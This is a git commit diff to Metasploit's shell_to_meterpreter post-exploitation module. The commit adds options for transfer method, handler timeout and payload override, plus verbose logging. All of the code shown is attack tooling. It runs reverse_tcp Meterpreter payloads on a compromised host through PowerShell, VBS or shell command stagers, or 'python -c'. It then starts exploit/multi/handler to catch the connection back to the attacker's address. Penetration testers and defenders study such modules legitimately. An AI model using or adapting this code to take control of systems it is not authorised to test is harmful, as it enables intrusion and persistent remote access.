shell_to_meterpreter - more options, more verbose

...less bugs!
g0tmi1k 2015-06-13 17:37:41 +01:00
parent f279c6ca3f
commit faa7ed2b68
1 changed files with 45 additions and 17 deletions

View File

@ -31,16 +31,29 @@ class Metasploit3 < Msf::Post
OptAddress.new('LHOST', OptAddress.new('LHOST',
[false, 'IP of host that will receive the connection from the payload.']), [false, 'IP of host that will receive the connection from the payload.']),
OptInt.new('LPORT', OptInt.new('LPORT',
[false, 'Port for Payload to connect to.', 4433]), [false, 'Port for payload to connect to.', 4433]),
OptBool.new('HANDLER', OptBool.new('HANDLER',
[ true, 'Start an Exploit Multi Handler to receive the connection', true]) [ true, 'Start exploit/multi/handler to receive the connection.', true])
], self.class) ], self.class)
register_advanced_options([
OptInt.new('HANDLE_TIMEOUT',
[false, 'How long to wait for the session to come back', 30]),
OptString.new('WIN_TRANSFER',
[false, 'Which method to try first to transfer files on a Windows target. Valid values are: POWERSHELL, VBS', 'POWERSHELL']),
OptString.new('PAYLOAD_OVERWRITE',
[false, 'Overwrite the default payload', nil])
], self.class)
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end end
# Run Method for when run command is issued # Run method for when run command is issued
def run def run
print_status("Upgrading session: #{datastore['SESSION']}") print_status("Upgrading session ID: #{datastore['SESSION']}")
if session.type =~ /meterpreter/
print_error("Shell type is already Meterpreter.")
return nil
end
# Try hard to find a valid LHOST value in order to # Try hard to find a valid LHOST value in order to
# make running 'sessions -u' as robust as possible. # make running 'sessions -u' as robust as possible.
@ -52,7 +65,7 @@ class Metasploit3 < Msf::Post
lhost = session.tunnel_local.split(':')[0] lhost = session.tunnel_local.split(':')[0]
end end
# If nothing else works.... # If nothing else works...
lhost = Rex::Socket.source_address if lhost.blank? lhost = Rex::Socket.source_address if lhost.blank?
lport = datastore['LPORT'] lport = datastore['LPORT']
@ -65,14 +78,17 @@ class Metasploit3 < Msf::Post
lplat = [Msf::Platform::Windows] lplat = [Msf::Platform::Windows]
larch = [ARCH_X86] larch = [ARCH_X86]
psh_arch = 'x86' psh_arch = 'x86'
print_status("Platform: Windows") if datastore['VERBOSE']
when /osx/i when /osx/i
platform = 'python' platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp' payload_name = 'python/meterpreter/reverse_tcp'
print_status("Platform: OS X") if datastore['VERBOSE']
when /solaris/i when /solaris/i
platform = 'python' platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp' payload_name = 'python/meterpreter/reverse_tcp'
print_status("Platform: Solaris") if datastore['VERBOSE']
else else
# Find the best fit, be specific w/ uname to avoid matching hostname or something else # Find the best fit, be specific with uname to avoid matching hostname or something else
target_info = cmd_exec('uname -mo') target_info = cmd_exec('uname -mo')
if target_info =~ /linux/i && target_info =~ /86/ if target_info =~ /linux/i && target_info =~ /86/
# Handle linux shells that were identified as 'unix' # Handle linux shells that were identified as 'unix'
@ -80,12 +96,16 @@ class Metasploit3 < Msf::Post
payload_name = 'linux/x86/meterpreter/reverse_tcp' payload_name = 'linux/x86/meterpreter/reverse_tcp'
lplat = [Msf::Platform::Linux] lplat = [Msf::Platform::Linux]
larch = [ARCH_X86] larch = [ARCH_X86]
print_status("Platform: Linux") if datastore['VERBOSE']
elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/ elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/
# Generic fallback for OSX, Solaris, Linux/ARM # Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python' platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp' payload_name = 'python/meterpreter/reverse_tcp'
print_status("Platform: Python [fallback]") if datastore['VERBOSE']
end end
end end
payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE']
print_status("Upgrade payload: #{payload_name}") if datastore['VERBOSE']
if platform.blank? if platform.blank?
print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
@ -101,28 +121,36 @@ class Metasploit3 < Msf::Post
if datastore['HANDLER'] if datastore['HANDLER']
listener_job_id = create_multihandler(lhost, lport, payload_name) listener_job_id = create_multihandler(lhost, lport, payload_name)
if listener_job_id.blank? if listener_job_id.blank?
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.") print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
return nil return nil
end end
end end
case platform case platform
when 'win' when 'win'
if have_powershell? if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
print_status("Transfer method: Powershell") if datastore['VERBOSE']
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
else else
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
print_status("Transfer method: VBS [fallback]") if datastore['VERBOSE']
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe) aborted = transmit_payload(exe)
end end
when 'python' when 'python'
print_status("Transfer method: Python") if datastore['VERBOSE']
cmd_exec("python -c \"#{payload_data}\"") cmd_exec("python -c \"#{payload_data}\"")
else else
print_status("Transfer method: Bourne shell [fallback]") if datastore['VERBOSE']
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe) aborted = transmit_payload(exe)
end end
cleanup_handler(listener_job_id, aborted) if datastore['HANDLER'] if datastore['HANDLER']
print_status("Cleaning up handler") if datastore['VERBOSE']
cleanup_handler(listener_job_id, aborted)
end
return nil return nil
end end
@ -150,7 +178,7 @@ class Metasploit3 < Msf::Post
cmds = cmdstager.generate(opts) cmds = cmdstager.generate(opts)
if cmds.nil? || cmds.length < 1 if cmds.nil? || cmds.length < 1
print_error('The command stager could not be generated') print_error('The command stager could not be generated.')
raise ArgumentError raise ArgumentError
end end
@ -160,6 +188,7 @@ class Metasploit3 < Msf::Post
total_bytes = 0 total_bytes = 0
cmds.each { |cmd| total_bytes += cmd.length } cmds.each { |cmd| total_bytes += cmd.length }
print_status("Starting transfer...") if datastore['VERBOSE']
begin begin
# #
# Run the commands one at a time # Run the commands one at a time
@ -198,17 +227,16 @@ class Metasploit3 < Msf::Post
def cleanup_handler(listener_job_id, aborted) def cleanup_handler(listener_job_id, aborted)
# Return if the job has already finished # Return if the job has already finished
return nil if framework.jobs[listener_job_id].nil? return nil if framework.jobs[listener_job_id].nil?
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) { framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
if !aborted if !aborted
timer = 0 timer = 0
while !framework.jobs[listener_job_id].nil? && timer < 10 print_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back") if datastore['VERBOSE']
# Wait up to 10 seconds for the session to come in.. while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
sleep(1) sleep(1)
timer += 1 timer += 1
end end
end end
print_status('Stopping multi/handler') print_status('Stopping exploit/multi/handler')
framework.jobs.stop_job(listener_job_id) framework.jobs.stop_job(listener_job_id)
} }
end end
@ -218,7 +246,7 @@ class Metasploit3 < Msf::Post
# #
def progress(total, sent) def progress(total, sent)
done = (sent.to_f / total.to_f) * 100 done = (sent.to_f / total.to_f) * 100
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total])
end end
# Method for checking if a listener for a given IP and port is present # Method for checking if a listener for a given IP and port is present
@ -238,12 +266,12 @@ class Metasploit3 < Msf::Post
return false return false
end end
# Starts a multi/handler session # Starts a exploit/multi/handler session
def create_multihandler(lhost, lport, payload_name) def create_multihandler(lhost, lport, payload_name)
pay = client.framework.payloads.create(payload_name) pay = client.framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport pay.datastore['LPORT'] = lport
print_status('Starting exploit multi handler') print_status('Starting exploit/multi/handler')
if !check_for_listener(lhost, lport) if !check_for_listener(lhost, lport)
# Set options for module # Set options for module
mh = client.framework.exploits.create('multi/handler') mh = client.framework.exploits.create('multi/handler')